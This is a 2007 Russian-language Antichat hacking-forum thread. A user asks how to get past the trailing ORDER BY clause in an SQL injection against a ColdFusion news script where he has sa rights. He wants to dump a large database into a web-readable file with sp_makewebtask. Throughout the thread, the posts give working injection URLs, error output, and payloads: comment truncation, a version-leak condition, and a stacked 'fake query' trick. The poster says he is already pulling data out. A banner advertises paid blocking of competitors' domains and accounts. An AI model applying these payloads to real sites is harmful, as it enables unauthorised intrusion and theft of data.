как закрыть order в запросе к mssql

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
как закрыть order в запросе к mssql

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

как закрыть order в запросе к mssql

12.09.2007, 20:20

$jason$

Новичок

Регистрация: 12.04.2006

Сообщений: 22

С нами: 10569197

Репутация: 3

как закрыть order в запросе к mssql

Всем привет! подскажите как закрыть 'Order'

инъекция в cfm скрипте,все таблицы ,колонки и т.д даёт нормально,права sa

хочу вывести таблицу в файл на сервере с помощью sp_makewebtask, в вебдиректорию

в сообщение о ошибке есть полный путь до вебдиры,и запрос к бд

Код:

site.com/dir/news.cfm?news_id=-1'

Код:

[Macromedia][SQLServer JDBC Driver][SQLServer]Line 2: Incorrect syntax near ''.
The error occurred in F:\www\site.com\www\dir\news.cfm: line 19
SQL	   SELECT * From News Where News_ID = -1'' Order By DisplayOrder

делаю запрос

Код:

http://site.com/dir/news.cfm?News_ID=1;%20EXEC%20master..sp_makewebtask%20%22F:\www\site.com\www\dir\output.html%22,%20%22SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES%22

Код:

[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'Order'. 
 
The error occurred in F:\www\site.com\www\dir\news.cfm: line 19

SELECT * From News Where News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Order By DisplayOrder

как закрыть этот ордер? повсякому пробовал пока неполучилось, проверяю потом site.com/dir/output.html нету файла

𝕏 Twitter Reddit Telegram Копировать ссылку

12.09.2007, 20:23

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

С нами: 10309346

Репутация: 4303

закоментировать не пробовал?

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

12.09.2007, 20:23

[53x]Shadow

Leaders of Antichat

Регистрация: 25.01.2007

Сообщений: 341

С нами: 10153766

Репутация: 2565

Используй усечение запроса комментами "--"(два тире), ставь в конце своего запроса

12.09.2007, 21:38

$jason$

Новичок

Регистрация: 12.04.2006

Сообщений: 22

С нами: 10569197

Репутация: 3

пробовал запрос становится вида
[Macromedia][SQLServer JDBC Driver][SQLServer]Line 2: Incorrect syntax near ''.

Код:

SELECT * From News Where News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"-- Order By DisplayOrder

в файл невыводит

12.09.2007, 23:49

$jason$

Новичок

Регистрация: 12.04.2006

Сообщений: 22

С нами: 10569197

Репутация: 3

никто незнает чтоли?

13.09.2007, 00:06

[53x]Shadow

Leaders of Antichat

Регистрация: 25.01.2007

Сообщений: 341

С нами: 10153766

Репутация: 2565

Цитата:

Сообщение от $jason$

никто незнает чтоли?

Фильтрация кавычек там, читай статью [cash] до конца и все последующие посты!
https://forum.antichat.ru/thread30501.html
здесь непосредственно про обход кавычек
https://forum.antichat.ru/threadnav30501-3-10.html

13.09.2007, 01:06

~~guest3297~~

Banned

Регистрация: 27.06.2006

Сообщений: 1,614

С нами: 10459106

Репутация: 2996

подставь 1+or+1=@@version--

13.09.2007, 17:13

$jason$

Новичок

Регистрация: 12.04.2006

Сообщений: 22

С нами: 10569197

Репутация: 3

Цитата:

Сообщение от [ cash ]

подставь 1+or+1=@@version--

да всё прикрасно выводит и версию и всю нужную инфу из базы, там просто база объёмная т.е много инфы нужно скачать, я даж таблицу создал и там две колонки первая id вторая вся нужная мне инфа но скрипт который построчно сливает долго сливает всёравно(там сервак немного тормозной), я хочу побыстрей всё скачать просто ,но немогу правильно заюзать sp_makewebtask, раньше пробовал на других серверах всё получалось, а тут запрос каварный какой-то несоображу как ордер закрыть

14.09.2007, 03:29

~~guest3297~~

Banned

Регистрация: 27.06.2006

Сообщений: 1,614

С нами: 10459106

Репутация: 2996

А те путь известен?
Вообще не факт что ты trptr исполнять можешь лей не спеша и потихоньку...

#10

14.09.2007, 03:44

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

поробуй сделать "фейковый" запрос

тогда запрос у тебя будет типа такого:

Код:

News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"; SELECT * From News Where News_ID = 1

а Order By DisplayOrder скрипт сам подставит и ошибки не будет

__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 14.09.2007 в 05:12..

Страница 1 из 2

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Подробный Faq о открытии некоторых моделей домофонов	system_32	Электроника и Фрикинг	23	18.12.2008 14:25
Вообщем про домофон...	CRL	Электроника и Фрикинг	16	18.12.2008 14:08
SQL инъекция (в т.ч. и blind SQL)	kot777	Уязвимости	4	04.10.2008 17:18

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход